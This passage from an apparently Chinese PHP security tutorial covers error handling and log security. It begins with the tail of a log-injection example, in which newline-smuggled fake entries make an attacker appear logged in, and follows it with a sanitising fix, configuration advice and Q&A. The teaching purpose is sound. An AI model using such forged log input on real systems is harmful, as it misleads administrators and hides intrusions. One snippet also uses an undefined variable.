// Login attempt: admin
// [2024-01-01 00:00:00] INFO: User admin logged in successfully
// Fake log entry

// 这会误导管理员认为攻击者已成功登录
?>

修复方案:

php 复制代码
<?php
class SecureLogger {
    public function logLoginAttempt(string $username): void {
        // 净化输入
        $safeUsername = $this->sanitize($username);

        // 使用结构化格式(JSON)
        $entry = [
            'timestamp' => date('c'),
            'event' => 'login_attempt',
            'username' => $safeUsername,
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
        ];

        $line = json_encode($entry) . "\n";
        file_put_contents('/var/log/app.log', $line, FILE_APPEND | LOCK_EX);
    }

    private function sanitize(string $input): string {
        // 移除换行符和控制字符
        $input = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $input);
        $input = str_replace(["\r", "\n"], '', $input);
        return trim($input);
    }
}
?>

8. 总结与延伸

8.1 关键要点回顾

  1. 错误信息是敏感资产

    • 错误信息可能泄露系统架构、文件路径、数据库凭证
    • 生产环境必须关闭 display_errors
    • 使用 error_log 记录到安全位置
  2. 分层错误处理策略

    • 开发环境:详细错误信息,便于调试
    • 生产环境:用户友好消息,详细日志记录
    • 实现优雅降级,避免单点故障
  3. 异常处理最佳实践

    • 特定异常优先捕获,通用异常兜底
    • 异常转换隐藏实现细节
    • 使用 finally 确保资源释放
  4. 日志安全

    • 日志文件放在web根目录之外
    • 设置适当的文件权限
    • 净化日志内容防止注入
    • 实现日志轮转防止磁盘耗尽
  5. 错误处理器的陷阱

    • 防止递归调用
    • 避免在处理器中抛出异常
    • 确保处理器自身的健壮性

8.2 常见问题速答

Q1: 开发环境和生产环境的错误配置有何不同?

ini 复制代码
; 开发环境
error_reporting = E_ALL
display_errors = On
display_startup_errors = On
log_errors = On
html_errors = On

; 生产环境
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT
display_errors = Off
display_startup_errors = Off
log_errors = On
html_errors = Off
expose_php = Off

Q2: 如何安全地记录敏感操作?

php 复制代码
<?php
// 记录敏感操作时不记录敏感数据
function logPasswordChange(int $userId): void {
    // ❌ 不要这样做
    // error_log("User $userId changed password to: $newPassword");

    // ✅ 这样做
    error_log("User $userId changed password at " . date('c'));

    // 如果需要更多上下文,使用脱敏数据
    $context = [
        'user_id' => $userId,
        'ip' => $_SERVER['REMOTE_ADDR'],
        'time' => time(),
        'password_length' => strlen($newPassword), // 而不是密码本身
    ];
}
?>

Q3: 如何处理第三方库抛出的异常?

php 复制代码
<?php
// 包装第三方库调用,统一异常处理
function callThirdPartyApi(array $params): array {
    try {
        $client = new ThirdPartyApiClient();
        return $client->call($params);
    } catch (ThirdPartyException $e) {
        // 记录原始错误
        error_log("Third-party API error: " . $e->getMessage());

        // 转换为应用异常
        throw new ServiceUnavailableException(
            "Service temporarily unavailable",
            0,
            $e  // 保留原始异常便于调试
        );
    } catch (Throwable $e) {
        // 捕获所有其他异常
        error_log("Unexpected error in third-party call: " . $e);
        throw new ServiceUnavailableException("Service error");
    }
}
?>
相关推荐
JaguarJack16 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo16 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理2 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行2 天前
网络安全总结
安全·web安全
red1giant_star2 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
QQ5110082852 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe2 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5
ZeroNews内网穿透2 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全
一名优秀的码农2 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析